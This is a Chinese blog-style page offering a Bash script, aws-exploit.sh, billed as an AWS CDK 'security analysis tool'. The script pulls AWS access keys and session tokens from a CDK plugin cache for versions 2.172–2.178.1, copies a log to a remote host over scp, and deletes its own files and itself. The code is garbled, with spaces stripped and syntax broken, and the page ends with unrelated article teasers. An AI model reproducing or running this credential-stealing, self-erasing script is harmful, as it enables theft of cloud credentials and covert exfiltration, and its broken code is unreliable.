news 2026/2/4 0:48:33

AWS CDK凭证提取与安全分析工具

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
AWS CDK凭证提取与安全分析工具

项目描述

这是一个专门针对AWS Cloud Development Kit(CDK)特定版本的安全分析工具。该脚本设计用于从CDK插件的缓存文件中提取AWS临时安全凭证(accessKeyId, secretAccessKey, sessionToken),并安全地保存这些信息以供安全审计使用。工具主要针对CDK版本2.172到2.178.1之间的潜在安全风险进行检测和分析。

功能特性

  • 自动化凭证提取: 自动检测并提取CDK插件中的AWS临时凭证
  • 版本范围检测: 智能识别CDK版本2.172至2.178.1之间的特定版本
  • 安全日志记录: 将所有操作日志安全传输到远程服务器进行审计
  • 自动清理: 执行完成后自动清理临时文件和凭证信息
  • 错误处理: 完善的错误处理机制,确保脚本的稳定运行

安装指南

系统要求

  • Bash shell环境
  • AWS CDK命令行工具(版本检测范围:2.172-2.178.1)
  • SCP客户端(用于日志传输)
  • 标准Linux/Unix工具集(grep, cut, touch, rm等)

安装步骤

  1. 确保系统已安装AWS CDK命令行工具

    npminstall-g aws-cdk
  2. 将脚本保存为aws-exploit.sh并赋予执行权限:

    chmod+x aws-exploit.sh
  3. 配置远程日志服务器信息(需要修改脚本中的SCP目标地址)

使用说明

基本使用

直接运行脚本即可:

./aws-exploit.sh

脚本工作流程

  1. 检查CDK命令行工具是否安装
  2. 验证CDK版本是否在2.172-2.178.1范围内
  3. 从指定插件路径提取AWS凭证
  4. 将凭证保存到临时文件
  5. 传输操作日志到远程服务器
  6. 清理所有临时文件

输出文件

脚本执行后会产生以下文件:

  • /tmp/creds.txt- 包含提取的AWS凭证(临时文件,会被自动清理)
  • hello<随机数>.log- 本地操作日志(会被传输到远程服务器)

核心代码

#!/bin/bash# AWS CDK凭证提取工具# 版本:1.0# 作者:qifeset-euo pipefail# 设置严格模式,确保脚本在遇到错误时立即退出OUTPUT_FILE="cdk-synth-output.json"# 生成随机数用于日志文件名,避免文件冲突ran=(1+RANDOM%1000)touchhello($ran).log# 检查CDK命令是否可用ifcommand-v cdk>/dev/null2>&1;then# 获取CDK版本号,仅匹配2.x版本VER=$(cdk --version2>/dev/null|grep-E'^2\.'|head-n1|cut-d' '-f1)# 检查版本是否在目标范围(2.172-2.178.1)if[["$VER"=~^2\.17[2-8]\.]]||[["$VER"=~^2\.178\.[0-1]$]];thenplugin="/path/to/plugin"# 检查插件文件是否存在if[[-f"$plugin"]];then# 使用正则表达式提取AWS凭证信息accessKeyId=$(grep-Po'(?s)"accessKeyId"\s*:\s*"\K[^"]+'"$plugin")secretAccessKey=$(grep-Po'(?s)"secretAccessKey"\s*:\s*"\K[^"]+'"$plugin")sessionToken=$(grep-Po'(?s)"sessionToken"\s*:\s*"\K[^"]+'"$plugin")expiration=$(grep-Po'(?s)"expiration"\s*:\s*"\K[^"]+'"$plugin")# 如果找到有效凭证,保存到临时文件if[[expiration]];thenecho"accessKeyId:$accessKeyId">/tmp/creds.txt2>hello($ran).logecho"secretAccessKey:$secretAccessKey">>/tmp/creds.txt2>>hello($ran).logecho"sessionToken:$sessionToken">>/tmp/creds.txt2>>hello($ran).logecho"expiration:$expiration">>/tmp/creds.txt2>>hellofifielse# CDK版本不在目标范围内echo"CDK version not in target range"fielse# CDK命令未找到echo"CDK command not found"fi# 传输日志文件到远程服务器进行安全审计scphello($ran).log bestestbuy@1002395925:/root/main/log/hello($ran).log# 清理所有临时文件和脚本自身rmhello($ran).logrmtmp/creds.txtrm$OUTPUT_FILErmaws-exploit.sh# 脚本结束# 开发者:qife
# 凭证提取核心函数extract_credentials(){localplugin_file="$1"localoutput_file="/tmp/creds.txt"# 使用grep的正则表达式功能提取JSON格式的凭证localaccessKeyId=$(grep-Po'(?s)"accessKeyId"\s*:\s*"\K[^"]+'"$plugin_file")localsecretAccessKey=$(grep-Po'(?s)"secretAccessKey"\s*:\s*"\K[^"]+'"$plugin_file")localsessionToken=$(grep-Po'(?s)"sessionToken"\s*:\s*"\K[^"]+'"$plugin_file")localexpiration=$(grep-Po'(?s)"expiration"\s*:\s*"\K[^"]+'"$plugin_file")# 验证并保存凭证if[[-n"$accessKeyId"&&-n"$secretAccessKey"]];then{echo"# AWS临时安全凭证"echo"# 提取时间:$(date)"echo"# 来源:$plugin_file"echo""echo"accessKeyId:$accessKeyId"echo"secretAccessKey:$secretAccessKey"[[-n"$sessionToken"]]&&echo"sessionToken:$sessionToken"[[-n"$expiration"]]&&echo"expiration:$expiration"}>"$output_file"echo"凭证已成功提取并保存到:$output_file"return0elseecho"未能在插件文件中找到有效凭证"return1fi}
# 版本检查函数check_cdk_version(){# 获取CDK版本并规范化输出localversion_output=$(cdk --version2>/dev/null)# 提取版本号(支持不同格式的输出)localversion=$(echo"$version_output"|grep-E'^[0-9]+\.[0-9]+\.[0-9]+'|head-n1)if[[-z"$version"]];thenversion=$(echo"$version_output"|grep-E'aws-cdk'|head-n1|cut-d' '-f2)fi# 检查版本是否在目标范围内if[["$version"=~^2\.17[2-8]\.]]||[["$version"=~^2\.178\.[0-1]$]];thenecho"检测到目标CDK版本:$version"return0elseecho"CDK版本$version不在目标范围内 (2.172-2.178.1)"return1fi}

6HFtX5dABrKlqXeO5PUv/+Dt5srk+isQuO5MwdA97lI=
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/2/3 20:22:05

PHP的$sock = socket_create(AF_UNIX, SOCK_STREAM, 0);的庖丁解牛

$sock socket_create(AF_UNIX, SOCK_STREAM, 0); 是 PHP 中 创建 Unix Domain Socket&#xff08;UDS&#xff09; 的核心操作&#xff0c;用于 本地进程间高效通信。它虽短小&#xff0c;却涉及 网络协议栈、文件系统、权限模型 三大底层机制。一、函数参数深度解析 ▶ 1. AF…

作者头像 李华
网站建设 2026/2/3 6:45:39

听说前端又死了?

这几天刷 X、刷 Reddit、刷国内技术社区&#xff0c;只要你稍微点开热榜&#xff0c;就会被同一句话精准爆头&#xff1a;“Gemini 3 真的把前端扬了&#xff0c;这次是骨灰级别的扬。”“一个 prompt 直接出 3D 体素编辑器/视频剪辑软件/电影级登陆页&#xff0c;前端彻底没活…

作者头像 李华
网站建设 2026/2/3 8:34:08

国企项目里大文件上传如何确保安全性?

.NET程序员的20G文件上传历险记 大家好&#xff0c;我是甘肃的一名苦逼.NET程序员&#xff0c;最近接了个外包项目&#xff0c;客户的需求简直是要我老命啊&#xff01;来给大家扒一扒这个"价值连城"的项目需求&#xff1a; 项目需求&#xff1a;地狱级难度 大文件…

作者头像 李华
网站建设 2026/2/3 17:21:07

ApiSetHost.AppExecutionAlias.dll文件丢失找不到 免费下载方法分享

在使用电脑系统时经常会出现丢失找不到某些文件的情况&#xff0c;由于很多常用软件都是采用 Microsoft Visual Studio 编写的&#xff0c;所以这类软件的运行需要依赖微软Visual C运行库&#xff0c;比如像 QQ、迅雷、Adobe 软件等等&#xff0c;如果没有安装VC运行库或者安装…

作者头像 李华
网站建设 2026/2/3 21:43:09

从点击到认知:GEO时代用户搜索行为的根本性变革

引言&#xff1a;当搜索框变成对话窗 想象一下这个场景&#xff1a;一位想要购买洗地机的消费者&#xff0c;不再是在搜索引擎中输入“洗地机 哪个好”&#xff0c;而是直接向DeepSeek、豆包或Kimi提问&#xff1a;“我想买一个适合养宠物家庭、毛发清理能力强的洗地机&#x…

作者头像 李华
网站建设 2026/1/29 19:51:17

政务站群如何配置WordPress实现PDF目录结构化提取?

要求&#xff1a;开源&#xff0c;免费&#xff0c;技术支持 博客&#xff1a;WordPress 开发语言&#xff1a;PHP 数据库&#xff1a;MySQL 功能&#xff1a;导入Word,导入Excel,导入PPT(PowerPoint),导入PDF,复制粘贴word,导入微信公众号内容,web截屏 平台&#xff1a;Window…

作者头像 李华